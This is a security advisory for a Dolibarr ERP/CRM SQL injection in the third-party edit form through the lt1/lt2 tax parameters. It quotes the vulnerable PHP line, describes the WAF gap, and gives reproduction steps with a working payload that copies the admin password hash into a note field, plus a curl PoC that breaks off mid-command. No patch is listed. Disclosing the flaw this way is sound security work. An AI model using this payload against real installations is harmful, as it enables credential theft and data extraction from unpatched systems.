CVE-2026-33944

Dolibarr has SQL Injection in societe/class/societe.class.php via localtax1_value parameter

Published

2026-10-27

Modified

2026-10-27

Aliases

GHSA-v5fq-cf5m-vwv7

Sources

github-advisory

Summary

### Summary A SQL Injection vulnerability exists in the Third Party (Company) update functionality of Dolibarr ERP/CRM. The `localtax1_value` parameter (`lt1`) is concatenated directly into an SQL UPDATE statement in `societe/class/societe.class.php` at line 1672 without any escaping, type casting, or parameterized query binding. An authenticated user with standard "Third Party: Create/Edit" permission can extract any data from the database, including password hashes, API keys, and all business data. Tested on Dolibarr v23.0.0 (latest stable), default installation via official Docker image, MariaDB 10.11. No custom modules, no modified configuration. ### Details **Vulnerable code** (`societe/class/societe.class.php`, line 1672): ```php $sql .= ",localtax1_value =".$this->localtax1_value; ``` The value comes from `GETPOST('lt1', 'alpha')` (`societe/card.php`, line 1135). The only sanitization applied is `trim()` at line 1528 — no `(float)` cast, no `$db->escape()`. The `alpha` input filter strips HTML tags and double quotes but does **not** strip single quotes, parentheses, commas, or SQL keywords. Since the injection point is in a numeric SQL context (no quotes around the value), the attacker needs none of the filtered characters. **Why the WAF does not block this:** Dolibarr's WAF (`waf.inc.php`) only checks SQL injection patterns in **GET** parameters, not POST. The POST-based `lt1` parameter bypasses it entirely. **The same vulnerability exists** for `localtax2_value` (parameter `lt2`) at line 1682. Adjacent fields like `localtax1_assuj` are properly cast to `(int)`, showing the developers were aware of injection risk but missed these fields. ### PoC **Steps to reproduce:** 1. Install Dolibarr v23.0.0 (tested with official Docker image, MariaDB 10.11) 2. Log in with a user that has "Third Parties: Create/Edit" permission (standard user, not admin) 3. Create or open any existing Third Party (company) record 4. Click "Edit" on the company card to open the update form 5. Intercept the POST request (e.g., Burp Suite) and add these parameters to the request body: - `localtax1assuj_value=1` - `lt1=1,note_private=(SELECT pass_crypted FROM llx_user WHERE rowid=1)` 6. Submit the form (server responds with HTTP 302 Found — successful update) 7. Navigate to the company's Notes tab — the admin's MD5 password hash is now visible in the "Private Note" field **Verification:** `echo -n "admin123" | md5sum` → `0192023a7bbd73250516f069df18b500` (matches exfiltrated hash). **Figure 1 — Notes tab before exploitation (Private Note field is empty):** **Figure 2 — Burp Suite Repeater: full POST request headers and HTTP 302 Found response:** **Figure 3 — Burp Suite Repeater: request body with injected `localtax1assuj_value=1` and `lt1=1,note_private=(SELECT pass_crypted FROM llx_user WHERE rowid=1)`:** **Figure 4 — Notes tab after exploitation: Private Note now contains `0192023a7bbd73250516f069df18b500` (MD5 hash of admin password "admin123"):** **curl PoC:** ```bash curl -b cookies.txt \ --data-urlencode "action=update" \ --data-urlencode "token=CSRF_TOKEN" \ --data-urlencode "socid=1" \ --data-urlencode "name=TestCompany" \ --data-urlencode "status=1" \ --data-urlencode "localtax1assuj_value=1" \ --data-urlencode "lt1=1,note_private=(SELECT pass_crypted FROM

Affected packages

Remediation: No patched version is listed by GitHub.

References

• https://github.com/advisories/GHSA-v5fq-cf5m-vwv7